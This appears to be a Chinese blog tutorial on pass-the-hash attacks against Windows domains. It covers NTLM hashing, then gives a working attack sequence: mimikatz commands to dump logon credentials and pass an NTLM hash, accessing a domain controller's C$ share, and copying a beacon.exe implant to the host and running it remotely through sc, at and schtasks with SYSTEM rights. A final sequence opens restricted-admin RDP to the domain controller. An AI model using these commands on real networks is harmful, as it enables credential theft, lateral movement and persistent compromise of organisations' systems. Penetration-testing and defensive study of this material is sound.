内网渗透之哈希传递

文章目录

  • 哈希传递(NTLM哈希)
    • 概念
      • LM
      • NTLM
    • 原理
    • 利用
      • hash传递获取域控RDP
    • ==总结==

哈希传递(NTLM哈希)

内网渗透中找到域控IP后使用什么攻击手法拿下域控:

  • 扫描域控开放端口。因为域控会开放远程连接:windows开放3389端口,Linux开放22端口

概念

早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM(认证协议)

LM

内网渗透之哈希传递_第1张图片

NTLM

三次编码:

  • 十六进制编码
  • Unicode编码
  • 最后进行MD4加密

内网渗透之哈希传递_第2张图片

MD4算法不可逆 无法进行逆推

哈希传递只针对相同密码进行攻击,哈希传递要求对方的密码和自己的密码相同,同密码是存在风险的,哈希传递可以实现无明文密码绕过认证,进行登录

原理

内网渗透之哈希传递_第3张图片

内网渗透之哈希传递_第4张图片

什么是hash传递?

哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。通过哈希传递,攻击者不需要花时间破解哈希值得到明文,往往会使用工具将哈希值传递到其他计算机中进行登录验证。

哈希传递必须要有哈希值,在内网渗透的时候拿下了一台主机,windows中明文密码无法抓取,电脑的密码文件存储在SAM文件中,而SAM中存储的是哈希值(NTLM哈希)。NTLM哈希值可以通过工具抓取。

利用

当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服

务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)以及⼀些其他信息在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

mimikatz运行前提是system用户,mimikatz在windows系统中可以利用管理员用户自动提升为system用户

内网渗透之哈希传递_第5张图片

内网渗透之哈希传递_第6张图片

privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息
    
sekurlsa::pth /user:administrator/domain:qf.com/ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口
    
dir \\域控IP\c$

内网渗透之哈希传递_第7张图片

内网渗透之哈希传递_第8张图片

pth:pass the hash告诉猕猴桃要进行哈希传递了

内网渗透之哈希传递_第9张图片

弹出窗口表示装配好攻击设备,想攻击哪个主机就通过dir告诉要攻击哪个主机的IP

内网渗透之哈希传递_第10张图片

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath="c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \\10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

内网渗透之哈希传递_第11张图片

内网渗透之哈希传递_第12张图片

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

总结

哈希传递是针对相同密码的用户认证之间发起的攻击,如果当域内的其他主机密码和失陷主机的密码一致,那么哈希值一致,哈希值一致就能够不使用明文密码的登陆对方主机的远程桌面,查看对方主机的C盘查看文件等操作。

你可能感兴趣的:(哈希算法,算法,渗透测试,测试工具,网络安全,安全)